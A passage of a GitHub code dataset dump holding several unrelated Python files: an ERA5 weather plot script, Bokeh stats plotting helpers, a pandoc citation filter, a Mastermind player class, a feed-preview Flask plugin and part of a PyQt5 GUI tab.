res\n","repo_name":"ihadouken/lc","sub_path":"239.sliding-window-maximum.py","file_name":"239.sliding-window-maximum.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"11883336532","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 3 15:34:56 2022\n\n@author: coqueiro\n\"\"\"\n\nimport xarray as xr # ler netCDF e muito mais <3\nimport matplotlib.pyplot as plt # biblioteca de plots\nimport matplotlib.colors # Matplotlib colors \nfrom datetime import datetime, timedelta # basicas datas e tipos de tempo\nimport cartopy, cartopy.crs as ccrs # plot mapas\nimport cartopy.feature as cfeature # operacao de desenho em imagens\nimport numpy as np # importa o pacote numpy\nimport cmocean \nfrom cartopy.util import add_cyclic_point\nimport mygrads as mg #pip install mygrads\nimport metpy.calc as mpcalc\nimport cartopy.feature as cfeature\nimport cartopy.io.shapereader as shpreader # Import shapefiles\nfrom metpy.units import units\nfrom metpy.interpolate import cross_section\n\n\nfile_1 = xr.open_dataset('/home/coqueiro/ufrj/micro/multi_bomba.nc', decode_times = False)\nfile_2 = xr.open_dataset('/home/coqueiro/ufrj/micro/pnmm_bomba.nc', decode_times = False)\n\nfile_1 = file_1.assign_coords(dict(\n longitude = (((file_1.longitude.values + 180) % 360) - 180))).sortby('longitude')\nfile_2 = file_2.assign_coords(dict(\n longitude = (((file_2.longitude.values + 180) % 360) - 180))).sortby('longitude')\n\n# limites de lat e lon\nlat_min = -70.00\nlat_max = 10.00\nlon_min = -105.0\nlon_max = -20.00\n\n# seleciona uma extensao minima para o recorte de dados\nextent = [lon_min, lon_max, lat_min, lat_max]\n\n#geopotencial\nlats= np.array(file_1.variables['latitude'][400:641])\nlons= np.array(file_1.variables['longitude'][400:641])\n\n#pressao\nlats = file_2.variables['latitude'][400:641]\nlons = file_2.variables['longitude'][400:641]\n\n# define a extensao da imagem\nimg_extent = [lon_min, lon_max, lat_min, lat_max]\n#------------------------------------------------------------------------------\n# escolha o tamanho do plot em polegadas (largura x altura)\nplt.figure(figsize=(20,20))\n\n# usando a projeção da coordenada cilindrica equidistante \nax = plt.axes(projection=ccrs.PlateCarree())\n#ax.set_extent([extent[0], extent[2], extent[1], extent[3]], ccrs.PlateCarree())\n\n\n# adiciona continente e bordas\nshapefile = list(shpreader.Reader('/home/coqueiro/Downloads/br_unidades_da_federacao/BR_UF_2019.shp').geometries())\nax.add_geometries(shapefile, ccrs.PlateCarree(), edgecolor='black', facecolor='none', linewidth=0.5)\n\nax.coastlines(resolution='50m', color='black', linewidth=1.5)\nax.add_feature(cartopy.feature.BORDERS, edgecolor='black', linewidth=1)\ngl = ax.gridlines(crs=ccrs.PlateCarree(), color='white', alpha=1.0, linestyle='--', linewidth=0.25, xlocs=np.arange(-105, -20, 5), ylocs=np.arange(-70, 15, 5), draw_labels=True)\ngl.top_labels = False\ngl.right_labels = False\n\ni = 22\nt = file_1.variables['t'][i,3,400:641,400:641]\npressao = file_2.variables['msl'][i,400:641,400:641]/100\nc = 0.286\ntheta = t*(1000/800)**c\n\n# temp\nvmin= 270\nvmax= 324\ndata_min = vmin\ndata_max = vmax\ninterval = 2\nlevels = np.arange(data_min,data_max,interval)\n\n# pnmm\nvmin2 = 930\nvmax2 = 1028\n \ndata_min2 = vmin2\ndata_max2 = vmax2\ninterval2 = 2\nlevels2 = np.arange(data_min2,data_max2,interval2)\n\n# vort relativa\nvmin4= -22\nvmax4= -2\ndata_min4 = vmin4\ndata_max4 = vmax4\ninterval4 = 2\nlevels4 = np.arange(data_min4,data_max4,interval4)\n\nimg = plt.contourf(lons,lats, theta, vmin=vmin, vmax=vmax, cmap='jet', levels=levels, extend='both')\nimg2 = ax.contour(lons, lats, theta, vmin=vmin, vmax=vmax, colors='white', linewidths=0.3, transform=ccrs.PlateCarree(), levels=levels)\nimg3 = ax.contour(lons, lats, pressao, vmin=vmin2, vmax=vmax2, colors='black', linewidths=0.8, levels=levels2)\nax.clabel(img3, inline=1, inline_spacing=3, fontsize=14, fmt = '%3.0f', colors= 'black')\n\n# adiciona legenda \ncb = plt.colorbar(img, extend ='both', orientation = 'horizontal', pad=0.04, fraction=0.04)\nfont_size = 20 # Adjust as appropriate.\ncb.ax.tick_params(labelsize=font_size)\n\n# Getting the file time and date\nadd_seconds = int(file_1.variables['time'][i])\ndate = datetime(1900,1,1,0) + timedelta(hours=add_seconds)\ndate_formatted = date.strftime('%Y-%m-%d %H')\n\t\n# Add a title\nplt.title('Temperatura potencial (K) - 800 hPa', fontweight='bold', fontsize=35, loc='left')\nplt.title(f'{date_formatted}', fontsize=15, loc='right')\n#----------------------------------------------------------------------------------------------------------- \n# Salva imagem\nplt.savefig(f'adv_temp {date_formatted}.png', bbox_inches='tight')","repo_name":"ecockeiro/Plots-ERA5","sub_path":"temp_potencial.py","file_name":"temp_potencial.py","file_ext":"py","file_size_in_byte":4428,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"19665189112","text":"import glob\nimport os\nimport pickle\nimport sys\nfrom functools import wraps, lru_cache\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import gaussian_kde\n\nfrom bokeh.io import output_notebook, show\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.palettes import Dark2_6 as palette\nfrom bokeh.plotting import figure\n\n\n# need to insert the path so that we can unpickle\n# our config objects\nsys.path.insert(0, \"..\")\noutput_notebook()\n\n\ndef make_run_dir(run_id):\n return os.path.join(\"data\", run_id)\n\n\nrun_dirs = glob.glob(make_run_dir(\"*\"))\nconfigs = []\nfor d in run_dirs:\n try:\n with open(os.path.join(d, \"config.pkl\"), \"rb\") as f:\n configs.append(pickle.load(f))\n except FileNotFoundError:\n continue\n\n\n@lru_cache(10)\ndef load_stats_for_config(config):\n run_dir = make_run_dir(config.id)\n df = pd.read_csv(os.path.join(run_dir, \"server-stats.csv\"))\n\n df[\"average_time\"] = df[\"time (us)\"] / df[\"count\"]\n df[\"throughput\"] = df[\"count\"] / df[\"interval\"]\n\n ds = []\n for stuff, d in df.groupby([\"ip\", \"gpu_id\", \"model\", \"process\"]):\n d[\"time_since_start\"] = d.interval.cumsum()\n ds.append(d)\n df = pd.concat(ds, axis=0, ignore_index=True)\n return df\n\n\ndef _has_value(config, key, value):\n try:\n return config.__dict__[key] == value\n except KeyError:\n raise ValueError(f\"Invalid config parameter {key}\")\n\n\ndef get_configs(**kwargs):\n relevant = [config for config in configs]\n for key, value in kwargs.items():\n relevant = [\n config for config in relevant if _has_value(config, key, value)\n ]\n return relevant\n\n\ndef df_or_config(f):\n @wraps(f)\n def wrapper(df, *args, **kwargs):\n if not isinstance(df, pd.DataFrame):\n df = load_stats_for_config(df)\n return f(df, *args, **kwargs)\n return wrapper\n\n\n@df_or_config\ndef get_num_inferences(df):\n print(\n df[(df.process == \"request\") & (df.model == \"bbh\")][\"count\"].sum()\n )\n\n\ndef make_figure(title, x_axis_label, y_axis_label, **kwargs):\n p = figure(\n height=400,\n width=800,\n title=title,\n x_axis_label=x_axis_label,\n y_axis_label=y_axis_label,\n **kwargs\n )\n p.outline_line_color = None\n p.toolbar_location = None\n p.background_fill_color = \"#efefef\"\n return p\n\n\ndef make_step_hist(grouped, bins):\n try:\n x = [bins[0]]\n except TypeError:\n max_, min_ = grouped.agg(\"max\").max(), grouped.agg(\"min\").min()\n bins = np.linspace(min_, max_, bins)\n x = [bins[0]]\n\n for b0, b1 in zip(bins[:-1], bins[1:]):\n x.extend([b0, b1])\n x.append(bins[-1])\n\n output = {\"x\": x}\n for name, x in grouped:\n hist, _ = np.histogram(x, bins)\n y = [0]\n for h in hist:\n y.extend([h, h])\n y.append(0)\n output[name] = y\n return ColumnDataSource(output)\n\n\n@df_or_config\ndef plot_queue_histograms(df, bins=50):\n queue = df[df.process == \"queue\"][[\"model\", \"average_time\"]]\n queue[\"average_time\"] *= 10**-6\n tmin, tmax = queue[\"average_time\"].min(), queue[\"average_time\"].max()\n bins = np.geomspace(tmin, tmax, bins)\n\n p = make_figure(\n title=\"Queue Times Per Model\",\n x_axis_label=\"Time (s)\",\n y_axis_label=\"Count\",\n x_axis_type=\"log\"\n )\n source = make_step_hist(\n queue.groupby(\"model\")[\"average_time\"], bins\n )\n for model, color in zip(df.model.unique(), palette):\n p.line(\n x=\"x\",\n y=model,\n line_width=1.8,\n line_alpha=0.8,\n line_color=color,\n legend_label=model,\n source=source\n )\n show(p)\n\n\n@df_or_config\ndef plot_throughput_histograms(df, aggregate=False, bins=50):\n df = df[df.process == \"request\"]\n models = df.model.unique()\n\n if not aggregate:\n df = df.groupby(\"model\")[\"throughput\"]\n x_axis_label = \"Throughput (frames / s)\"\n else:\n df = df.groupby([\"model\", \"step\"])[\"throughput\"].agg(\"sum\")\n df = df.reset_index().groupby(\"model\")[\"throughput\"]\n x_axis_label = \"Aggregate throughput (frames / s)\"\n\n p = make_figure(\n title=\"Throughput Breakdowns by Model\",\n x_axis_label=x_axis_label,\n y_axis_label=\"Count\"\n )\n source = make_step_hist(df, bins)\n for model, color in zip(models, palette):\n p.line(\n x=\"x\",\n y=model,\n line_width=1.8,\n line_alpha=0.8,\n line_color=color,\n legend_label=model,\n source=source\n )\n show(p)\n\n\n@df_or_config\ndef plot_throughput_vs_time(df, models=None):\n if isinstance(models, str):\n models = [models]\n elif models is None:\n models = df.model.unique()\n\n mask = df.process == \"request\"\n model_mask = False\n for model in models:\n model_mask |= df.model == model\n mask &= model_mask\n\n p = make_figure(\n title=\"Throughput vs. Time\",\n x_axis_label=\"Time (s)\",\n y_axis_label=\"Aggregate throughput (frames / s)\",\n )\n for color, (model, d) in zip(palette, df[mask].groupby(\"model\")):\n grouped = d.groupby(\"step\")\n p.line(\n x=grouped[\"time_since_start\"].agg(\"mean\"),\n y=grouped[\"throughput\"].agg(\"sum\"),\n line_width=1.8,\n line_alpha=0.7,\n line_color=color,\n legend_label=model\n )\n show(p)\n\n\ncost_per_n1_cpu_per_hour = 0.04749975\ncpus_per_client = 8\ncost_per_gpu_per_hour = 0.35\n\n\ndef map_to_cost(seconds_per_second, config):\n cost_per_server_cpus = cost_per_n1_cpu_per_hour * config.vcpus_per_gpu\n cost_per_gpu = cost_per_gpu_per_hour + cost_per_server_cpus\n cost_per_server = config.gpus_per_node * cost_per_gpu\n\n cost_per_client = cost_per_n1_cpu_per_hour * cpus_per_client\n client_costs_per_server = cost_per_client * config.clients_per_node\n\n total_cost = (cost_per_server + client_costs_per_server) * config.num_nodes\n cost_in_usd = seconds_per_second * total_cost / 3600\n cost_per_cpu_hour = cost_in_usd / cost_per_n1_cpu_per_hour\n return cost_per_cpu_hour\n\n\ndef make_violin_patch(config, y_axis=None, percentile=5):\n df = load_stats_for_config(config)\n df = df[(df.process == \"request\") & (df.model == \"bbh\")]\n inferences_per_second = df.groupby(\"step\")[\"throughput\"].agg(\"sum\")\n\n y_time = 1 / (inferences_per_second * config.kernel_stride)\n y_cost = map_to_cost(y_time, config)\n\n if y_axis is None:\n ys = [y_time, y_cost]\n elif y_axis == \"time\":\n ys = [y_time]\n elif y_axis == \"cost\":\n ys = [y_cost]\n else:\n raise ValueError(f\"Can't plot y-axis {y_axis}\")\n\n outputs = []\n for metric in ys:\n min_, max_ = np.percentile(metric, [percentile, 100 - percentile])\n diff = (max_ - min_) / (101)\n\n observations = metric[(metric >= min_) & (metric <= max_)]\n kernel = gaussian_kde(observations)\n y = np.linspace(min_ - diff, max_ + diff, 102)\n x = kernel(y)\n x[0] = x[-1] = 0\n x /= x.max() * 1.05 * 2\n outputs.append([x, y])\n\n if len(outputs) == 1:\n x, y = outputs[0]\n x = list(x) + list(-x[::-1])\n y = list(y) + list(y[::-1])\n return x, y\n\n outputs = [(x, y) for x, y in outputs]\n outputs = [(x * (-1)**(i + 1), y) for i, (x, y) in enumerate(outputs)]\n return outputs\n","repo_name":"alecgunny/ligo-o2-bbh-cloud","sub_path":"analysis/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":7432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15957172055","text":"from __future__ import print_function\nfrom panflute import *\nfrom functools import partial\nimport sys\n\n# holds all the citations we wrote out during the isolate_citations filter\ncitation_stack = None\n\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\n\n# converts the citation pre and suffix to string, drops all formatting.\ndef to_string(elem):\n prefix = []\n for s in elem:\n if hasattr(s, 'text'):\n prefix.append(s.text)\n\n prefix = ' '.join(prefix)\n return prefix\n\n\ndef undo_citation(elem, doc):\n # find an emph section\n if isinstance(elem, Emph):\n\n # determine if this is a reference within an emph section\n ref = []\n f = partial(isCitation, ref=ref)\n elem.walk(f)\n\n elem_str = stringify(elem)\n\n # if it starts with a ( and ends with a ), we can determine if this is inline or bracketed.\n # Likely needs to be expanded for non author-year cls\n isNormalCitation = None\n if citation_stack is None:\n isNormalCitation = elem_str[0] == \"(\" and elem_str[-1] == \")\"\n\n citation = None\n if len(ref) >= 1: # if we found a citation\n citation = Cite()\n\n for r in ref:\n\n # build our citation\n c = Citation(id=r)\n\n i = 0\n # look for the found citation in the citation stack\n # now some citations might be reordered, but since this a list of every citation, we should needed to go more than a few past the head (as we pop off it)\n # to find what we are looking for.\n for s in citation_stack:\n if r in s: # the reference is in this citation\n values = s.split(';')\n\n # eprint(r,values[1],values[2].rstrip())\n # set the citation prefix and suffix to what we have stored\n c.prefix = ListContainer(Str(values[1]))\n c.suffix = ListContainer(Str(values[2])) # remove new line\n\n # if isNormalCitation is none, then we are using it form citation.txt\n if isNormalCitation is None:\n c.mode = values[3].rstrip()\n # eprint(c.mode)\n elif not isNormalCitation: # otherwise guess it from '(' and ')' surrounding as per above\n c.mode = \"AuthorInText\"\n\n break\n\n i = i + 1\n\n # remove the index of the one we found\n if len(citation_stack) > 0:\n del citation_stack[i] # remove the one we found\n # eprint(citation_stack)\n\n # append the citations\n citation.citations.append(c)\n\n # Replace the emph section with the newly build citation\n return citation\n\n\n# determines if this is a citation\ndef isCitation(elem, doc, ref):\n if isinstance(elem, Link):\n link = elem.url\n if \"#ref-\" in link:\n link = elem.url[5:]\n ref.append(link)\n\n\ndef main(doc=None):\n global citation_stack\n\n try:\n with open('citations.txt', 'r') as f:\n citation_stack = f.readlines()\n except:\n eprint('citation.txt not found, not looking to replace suffix and prefix')\n\n return run_filter(undo_citation, doc=doc)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Chrismarsh/undo-pandoc-citeproc","sub_path":"undo_citations.py","file_name":"undo_citations.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40404986888","text":"import logging\n\nfrom players.enums import SmartStrategy\nfrom players.player import Player\nfrom players.possible_codes import PossibleCodes\nfrom simulator.game_code import Code\nfrom simulator.color import Color\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass SmartPlayer(Player):\n \"\"\"Smart player works by removing codes that are not possible given\n current feedback\"\"\"\n\n def __init__(self, strategy: SmartStrategy = SmartStrategy.FIRST):\n super().__init__()\n self.possible_codes = PossibleCodes()\n self.player_colors = self.code.colors\n self.strategy = strategy\n\n def reset(self):\n self.__init__(self.strategy)\n\n def next_code(self, round=0):\n if len(self.history) == 0:\n self.code = Code(Color.WHITE, Color.WHITE,\n Color.YELLOW, Color.YELLOW)\n return self.code\n\n self.possible_codes.update(self.history[-1])\n\n self.code = self.possible_codes.get(0)\n if self.strategy == SmartStrategy.RANDOM:\n self.code = self.possible_codes.get_random()\n elif self.strategy == SmartStrategy.LAST:\n self.code = self.possible_codes.get(len(self.possible_codes) - 1)\n\n return self.code\n","repo_name":"e-dzia/mastermind","sub_path":"project/players/smart_player.py","file_name":"smart_player.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28790209977","text":"\"\"\"\npreview_feed_list\n~~~~~~~~~~~~~~~~~\n\nIf the feed to be previewed is not actually a feed,\nshow a list of feeds linked from that URL (if any).\n\nThis plugin needs additional dependencies, use the ``unstable-plugins`` extra\nto install them:\n\n.. code-block:: bash\n\n pip install reader[unstable-plugins]\n\nTo load::\n\n READER_APP_PLUGIN='reader._plugins.preview_feed_list:init' \\\\\n python -m reader serve\n\nImplemented for https://github.com/lemon24/reader/issues/150.\n\n\"\"\"\nimport traceback\nimport urllib.parse\nimport warnings\n\nimport bs4\nimport requests\nfrom flask import Blueprint\nfrom flask import redirect\nfrom flask import render_template\nfrom flask import request\nfrom flask import url_for\n\nfrom reader._app import get_reader\nfrom reader._app import got_preview_parse_error\n\n\nblueprint = Blueprint('preview_feed_list', __name__, template_folder='templates')\n\n\nATTRS = ['type', 'href', 'title', 'text']\nMARKERS = ['rss', 'atom', 'feed']\n\nSELECTORS = [\n 'link[href][rel=alternate], meta[href][name=alternate], link[href][rel=alternative]',\n # fallback\n 'a[href]',\n]\n\n\nwarnings.filterwarnings(\n 'ignore',\n message='No parser was explicitly specified',\n module='reader._plugins.preview_feed_list',\n)\n\n\ndef get_alternates(content, url):\n soup = bs4.BeautifulSoup(content)\n for selector in SELECTORS:\n alternates = list(_get_alternates(soup, url, selector))\n if alternates:\n return alternates\n return []\n\n\ndef _get_alternates(soup, url, selector):\n for element in soup.select(selector):\n attrs = dict(element.attrs)\n\n href = attrs.get('href')\n if not href:\n continue\n\n text = ' '.join(element.stripped_strings)\n if text:\n attrs['text'] = text\n\n for attr in ATTRS:\n value = attrs.get(attr, '').lower()\n if any(marker in value for marker in MARKERS):\n break\n else:\n continue\n\n # this may not work correctly for relative paths, e.g. should\n # http://example.com/foo + bar.xml result in\n # http://example.com/bar.xml (now) or\n # http://example.com/foo/bar.xml?\n rv = {'href': urllib.parse.urljoin(url, attrs['href'])}\n\n if 'type' in attrs:\n rv['type'] = attrs['type']\n if 'text' in attrs:\n rv['title'] = attrs['text']\n elif 'title' in attrs:\n rv['title'] = attrs['title']\n\n yield rv\n\n\n@blueprint.route('/preview-feed-list')\ndef feed_list():\n url = request.args['url']\n\n session = get_reader()._parser.session_factory()\n\n # TODO: url may not actually be an http URL; now we get \"error: Invalid URL 'file.xml': No schema supplied. ...\"\n # if https://github.com/lemon24/reader/issues/155#issuecomment-647048623 gets implemented,\n # we should delegate to the parser \"give me the content of this URL\"\n\n try:\n response = session.get(url)\n response.raise_for_status()\n except requests.RequestException as e:\n # TODO: maybe handle this with flash + 404 (and let the handler show the message)\n return render_template('preview_feed_list.html', url=url, errors=[str(e)])\n\n alternates = list(get_alternates(response.content, url))\n\n return render_template('preview_feed_list.html', url=url, alternates=alternates)\n\n\nclass GotPreviewParseError(Exception):\n \"\"\"Signaling exception used to intercept /preview ParseError\"\"\"\n\n\n@got_preview_parse_error.connect\ndef raise_got_preview_parse_error(error):\n # TODO: ParseError should be more specific, it should be clear if retrieving or parsing failed\n function_names = {f.name for f in traceback.extract_tb(error.__traceback__)}\n if 'process_feed_for_update' in function_names:\n return\n if 'retrieve' in function_names:\n return\n\n if error.url.startswith('http:') or error.url.startswith('https:'):\n raise GotPreviewParseError() from error\n\n\n@blueprint.app_errorhandler(GotPreviewParseError)\ndef handle_parse_error_i_guess(error):\n parse_error = error.__cause__\n\n if request.url_rule.endpoint != 'reader.preview':\n raise error\n\n # TODO: we should check if we got a requests exception, and not redirect then\n # we can't reuse the text of the original response, because parser is using streaming=True;\n # TODO: maybe we should still expose the response on the exception, we could at least reuse the status code\n\n return redirect(url_for('preview_feed_list.feed_list', url=parse_error.url))\n\n\ndef init(app):\n app.register_blueprint(blueprint)\n","repo_name":"lemon24/reader","sub_path":"src/reader/_plugins/preview_feed_list.py","file_name":"preview_feed_list.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","stars":374,"dataset":"github-code","pt":"32"} +{"seq_id":"73897793371","text":"# -*- coding: utf-8 -*-\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom Style.GUI_Object import Title, Informator, ToolButton\nfrom Tabs.Ui_Tab import Ui_Tab\n\nclass Hunt_Tab(Ui_Tab): \n def define_tab_number(self):\n return 1\n \n def setup_right_window_ui(self):\n left,right,top,bottom = self.resolution_scaling.get_margin_main_window()\n \n horizontal_layout_0 = QtWidgets.QHBoxLayout()\n horizontal_layout_0.setContentsMargins(left,right,top,bottom)\n spacing = self.resolution_scaling.get_hspacing_right_window()\n horizontal_layout_0.setSpacing(spacing)\n \n #item 1\n left_pannel = self.setup_left_pannel()\n horizontal_layout_0.addItem(left_pannel)\n \n #item 2\n middle_line = QtWidgets.QFrame(self.central_widget)\n middle_line.setFrameShape(QtWidgets.QFrame.VLine)\n middle_line.setFrameShadow(QtWidgets.QFrame.Sunken)\n horizontal_layout_0.addWidget(middle_line)\n \n #item 3\n right_pannel = self.setup_right_pannel()\n horizontal_layout_0.addItem(right_pannel)\n \n #relative strech of items\n horizontal_layout_0.setStretch(0, 90)\n horizontal_layout_0.setStretch(1, 1)\n horizontal_layout_0.setStretch(2, 100)\n \n return horizontal_layout_0\n \n \n def setup_left_pannel(self):\n vertical_layout_main = QtWidgets.QVBoxLayout()\n vertical_layout_main.setContentsMargins(0, 0, 0, 0)\n spacing = self.resolution_scaling.get_minimum_vspacing_left_pannel()\n vertical_layout_main.setSpacing(spacing)\n \n #widget 0\n widget_working_folder = self.setup_working_folder()\n vertical_layout_main.addItem(widget_working_folder)\n \n #line and spacers\n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n vertical_layout_main.addItem(spacerItem)\n\n line = QtWidgets.QFrame(self.central_widget)\n line.setFrameShape(QtWidgets.QFrame.HLine)\n line.setFrameShadow(QtWidgets.QFrame.Sunken)\n vertical_layout_main.addWidget(line)\n\n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n vertical_layout_main.addItem(spacerItem)\n \n #widget 1\n widget_number_wafers = self.setup_calibration_to_use()\n vertical_layout_main.addItem(widget_number_wafers)\n \n #line and spacers\n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n vertical_layout_main.addItem(spacerItem)\n\n line = QtWidgets.QFrame(self.central_widget)\n line.setFrameShape(QtWidgets.QFrame.HLine)\n line.setFrameShadow(QtWidgets.QFrame.Sunken)\n vertical_layout_main.addWidget(line)\n\n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n vertical_layout_main.addItem(spacerItem)\n \n #widget 2\n widget_area_ai = self.setup_area_ai()\n vertical_layout_main.addItem(widget_area_ai)\n \n #line and spacers\n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n vertical_layout_main.addItem(spacerItem)\n\n line = QtWidgets.QFrame(self.central_widget)\n line.setFrameShape(QtWidgets.QFrame.HLine)\n line.setFrameShadow(QtWidgets.QFrame.Sunken)\n vertical_layout_main.addWidget(line)\n\n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n vertical_layout_main.addItem(spacerItem)\n \n #widget 3\n widget_use_ai = self.setup_use_ai()\n vertical_layout_main.addItem(widget_use_ai)\n \n #item 4\n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n vertical_layout_main.addItem(spacerItem)\n \n return vertical_layout_main\n \n def setup_right_pannel(self):\n vertical_layout_right = self.setup_hunt_widget()\n return vertical_layout_right\n \n def setup_working_folder(self):\n vertical_layout = QtWidgets.QVBoxLayout()\n vertical_layout.setContentsMargins(0, 0, 0, 0)\n spacing = self.resolution_scaling.get_vspacing_working_folder()\n vertical_layout.setSpacing(spacing)\n \n horizontal_layout_0 = QtWidgets.QHBoxLayout()\n horizontal_layout_0.setContentsMargins(0, 0, 0, 0)\n horizontal_layout_0.setSpacing(0)\n \n self.label_working_folder = Title(self.central_widget,self.resolution_scaling)\n horizontal_layout_0.addWidget(self.label_working_folder)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_0)\n \n horizontal_layout_1 = QtWidgets.QHBoxLayout()\n margin = self.resolution_scaling.get_small_left_margin()\n horizontal_layout_1.setContentsMargins(margin, 0, 0, 0)\n spacing = self.resolution_scaling.get_hspacing_working_folder()\n horizontal_layout_1.setSpacing(spacing)\n \n self.button_browse_folder = ToolButton(self.central_widget, self.resolution_scaling)\n horizontal_layout_1.addWidget(self.button_browse_folder)\n \n self.path_window = Informator(self.central_widget,self.resolution_scaling)\n w,h = self.resolution_scaling.get_path_window_size()\n self.path_window.setFixedSize(w, h)\n self.path_window.setWordWrap(True)\n self.path_window.setAlignment(QtCore.Qt.AlignTop)\n\n horizontal_layout_1.addWidget(self.path_window)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_1.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_1)\n \n return vertical_layout\n \n def setup_calibration_to_use(self):\n vertical_layout = QtWidgets.QVBoxLayout()\n vertical_layout.setContentsMargins(0, 0, 0, 0)\n spacing = self.resolution_scaling.get_vspacing_working_folder()\n vertical_layout.setSpacing(spacing)\n \n horizontal_layout_0 = QtWidgets.QHBoxLayout()\n horizontal_layout_0.setContentsMargins(0, 0, 0, 0)\n horizontal_layout_0.setSpacing(0)\n \n self.label_calibration = Title(self.central_widget,self.resolution_scaling)\n horizontal_layout_0.addWidget(self.label_calibration)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_0)\n \n horizontal_layout_1 = QtWidgets.QHBoxLayout()\n margin = self.resolution_scaling.get_small_left_margin()\n horizontal_layout_1.setContentsMargins(margin, 0, 0, 0)\n spacing = self.resolution_scaling.get_hspacing_working_folder()\n horizontal_layout_1.setSpacing(spacing)\n \n self.button_calibration = QtWidgets.QPushButton(self.central_widget)\n horizontal_layout_1.addWidget(self.button_calibration)\n \n self.calibration_window = Informator(self.central_widget,self.resolution_scaling)\n w,h = self.resolution_scaling.get_calibration_window_size()\n self.calibration_window.setFixedSize(w, h)\n self.calibration_window.setAlignment(QtCore.Qt.AlignTop)\n\n horizontal_layout_1.addWidget(self.calibration_window)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_1.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_1)\n \n return vertical_layout\n \n def setup_area_ai(self):\n vertical_layout = QtWidgets.QVBoxLayout()\n vertical_layout.setContentsMargins(0, 0, 0, 0)\n spacing = self.resolution_scaling.get_vspacing_working_folder()\n vertical_layout.setSpacing(spacing)\n \n horizontal_layout_0 = QtWidgets.QHBoxLayout()\n horizontal_layout_0.setContentsMargins(0, 0, 0, 0)\n horizontal_layout_0.setSpacing(0)\n \n self.label_area_title = Title(self.central_widget,self.resolution_scaling)\n horizontal_layout_0.addWidget(self.label_area_title)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_0.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_0)\n \n horizontal_layout_1 = QtWidgets.QHBoxLayout()\n margin = self.resolution_scaling.get_small_left_margin()\n horizontal_layout_1.setContentsMargins(margin, 0, 0, 0)\n spacing = self.resolution_scaling.get_hspacing_working_folder()\n horizontal_layout_1.setSpacing(spacing)\n \n self.label_minimum_size = QtWidgets.QLabel(self.central_widget)\n horizontal_layout_1.addWidget(self.label_minimum_size)\n \n self.line_edit_minimum_size = QtWidgets.QLineEdit(self.central_widget)\n self.line_edit_minimum_size.setValidator(QtGui.QIntValidator(0, 1e9))\n self.line_edit_minimum_size.setAlignment(QtCore.Qt.AlignRight)\n horizontal_layout_1.addWidget(self.line_edit_minimum_size)\n \n self.label_micrometer2 = QtWidgets.QLabel(self.central_widget)\n horizontal_layout_1.addWidget(self.label_micrometer2)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n horizontal_layout_1.addItem(spacerItem)\n \n vertical_layout.addItem(horizontal_layout_1)\n \n return vertical_layout\n \n def setup_use_ai(self):\n vertical_layout = QtWidgets.QVBoxLayout()\n vertical_layout.setContentsMargins(0, 0, 0, 0)\n spacing = self.resolution_scaling.get_vspacing_working_folder()\n vertical_layout.setSpacing(spacing)\n \n horizontal_layout_0 = QtWidgets.QHBoxLayout()\n horizontal_layout_0.setContentsMargins(0, 0, 0, 0)\n horizontal_layout_0.setSpacing(0)\n \n self.label_ai = Title(self.central_widget,self.resolution_scaling)\n horizontal_layout_0.addWidget(self.label_ai)\n \n spacerItem = QtWidgets.QSpacerItem(0, 0, QtWidgets.QSizePolicy.Expanding, 